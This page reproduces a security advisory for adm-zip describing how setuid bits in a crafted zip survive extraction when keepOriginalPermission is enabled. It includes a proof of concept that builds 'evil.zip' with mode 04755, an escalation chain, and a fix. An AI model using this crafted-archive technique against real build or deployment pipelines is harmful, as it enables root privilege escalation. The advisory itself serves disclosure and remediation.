CVE-2026-102282
adm-zip Improper Privilege Management
Description
## Summary adm-zip applies the Unix permission bits stored in a zip entry directly to the extracted file via `fs.chmodSync()` when `keepOriginalPermission=true` is passed to `extractAllTo()`/`extractEntryTo()` — and it never filters the setuid/setgid/sticky bits out of those bits. A zip crafted by an attacker can therefore produce an extracted binary with mode `04755`. When extraction runs as root (the default posture in Docker builds, CI runners, and privileged install steps — the exact environments where this flag is used), the resulting root-owned setuid file is executed later by a lesser-privileged user, turning the attacker's code into a root execution. ## Details The mode a zip entry wants is read back from the external file attributes in the header, and the mask used keeps every special bit: ```js // headers/entryHeader.js:187 get fileAttr() { return (_attr || 0) >> 16 & 0xfff; } ``` `0xfff` is `0o7777` — it preserves setuid (`0o4000`), setgid (`0o2000`) and the sticky bit (`0o1000`) along with the rwx bits. Shifting by 16 is the standard Unix convention for where zip stores the mode; the mask is the problem. When the flag is on, that value goes straight to the write: ```js // adm-zip.js:726-727 (extractEntryTo, and identically in extractAllTo) const fileAttr = keepOriginalPermission ? entry.header.fileAttr : undefined; filetools.writeFileTo(target, content, overwrite, fileAttr); ``` ```js // util/utils.js:94 self.fs.chmodSync(path, attr || 0o666); ``` No `& 0o777`, no stripping of `0o7000`. Attacker-controlled bytes in the zip decide the final mode of a file the library creates on disk. Directory entries are affected too (`adm-zip.js:855`), so a setgid bit on a directory entry also carries over and gives new files inside it group inheritance. ## PoC Tested against [email protected] (latest as of 2026-08-01), Node 22, Linux. 1. Craft a zip with a setuid binary using standard tooling (this is the realistic attacker path — no adm-zip APIs involved in creating it): ```bash python3 -c " import zipfile zi = zipfile.ZipInfo('pysuidbin') zi.external_attr = 0o4755 << 16 with zipfile.ZipFile('evil.zip', 'w') as z: z.writestr(zi, '#!/bin/sh\nid\n') " ``` 2. Extract with the flag enabled: ```js const AdmZip = require('adm-zip'); new AdmZip('evil.zip').extractAllTo('/tmp/out', true, true); const fs = require('fs'); const st = fs.statSync('/tmp/out/pysuidbin'); console.log((st.mode & 0o7777).toString(8)); // => 4755 (setuid bit set — the file is root-owned if the extractor runs as root) ``` 3. Control — same zip, default extraction (`keepOriginalPermission=false`): mode comes out `0666`, no setuid. The flag is the enabler. Alternative supply path, if the zip is built in-process with adm-zip's own API: ```js const zip = new AdmZip(); zip.addFile('suidbin', Buffer.from('#!/bin/sh\nid\n'), '', 0o4755); zip.writeZip('evil.zip'); new AdmZip('evil.zip').extractAllTo('/tmp/out', true, true); // same result: stat mode & 0o7777 === 0o4755 ``` ## Impact Privilege escalation. The vulnerability class is CWE-732 (incorrect permission assignment): permission bits taken from untrusted input are applied with no filtering. Realistic chain: 1. Attacker supplies a zip (upload endpoint, fetched dependency archive, artifact in a build script — no special access needed to produce the file). 2. A pipeline or service extracts it as root with `keepOriginalPermission=true`. Docker builds run as root by default and CI/install steps commonly do too; this flag is specifically the tooling used in permission-preserving deploy flows. 3. The root-owned setuid file leaves the build, typically preserved by `cp -a`/rsync mode-bit propagation, into the runtime environment. 4. An unprivileged app user or service account executes it (the standard build-as-root/run-as-user model) — the attacker's code runs as root. Who is impacted: applications and pipelines that extract untrusted archives with `keepOriginalPermission=true` while running as root. Default-usage deployments (flag off) are not affected; non-root extraction results in a harmless self-owned setuid file. Severity: Medium Suggested fix, one line in the getter: ```js get fileAttr() { return (_attr >> 16) & 0o777; } ```
INFO
Published Date :
Sept. 29, 2026, 6:24 p.m.
Last Modified :
Sept. 29, 2026, 6:25 p.m.
Remotely Exploit :
No
Source :
github-security-advisories
CVSS Scores
| Score | Version | Severity | Vector | Exploitability Score | Impact Score | Source |
|---|---|---|---|---|---|---|
| CVSS 3.1 | HIGH | github |
Solution
- Modify the fileAttr getter to mask out special bits.
- Ensure extracted file permissions are sanitized.
- Avoid extracting archives as root with special flags.
- Update to a patched version of the library.
References to Advisories, Solutions, and Tools
Here, you will find a curated list of external links that provide in-depth
information, practical solutions, and valuable tools related to
CVE-2026-102282.
CWE - Common Weakness Enumeration
While CVE identifies
specific instances of vulnerabilities, CWE categorizes the common flaws or
weaknesses that can lead to vulnerabilities. CVE-2026-102282 is
associated with the following CWEs:
Common Attack Pattern Enumeration and Classification (CAPEC)
Common Attack Pattern Enumeration and Classification
(CAPEC)
stores attack patterns, which are descriptions of the common attributes and
approaches employed by adversaries to exploit the CVE-2026-102282
weaknesses.
We scan GitHub repositories to detect new proof-of-concept exploits. Following list is a collection of public exploits and proof-of-concepts, which have been published on GitHub (sorted by the most recently updated).
Results are limited to the first 15 repositories due to potential performance issues.
The following list is the news that have been mention
CVE-2026-102282 vulnerability anywhere in the article.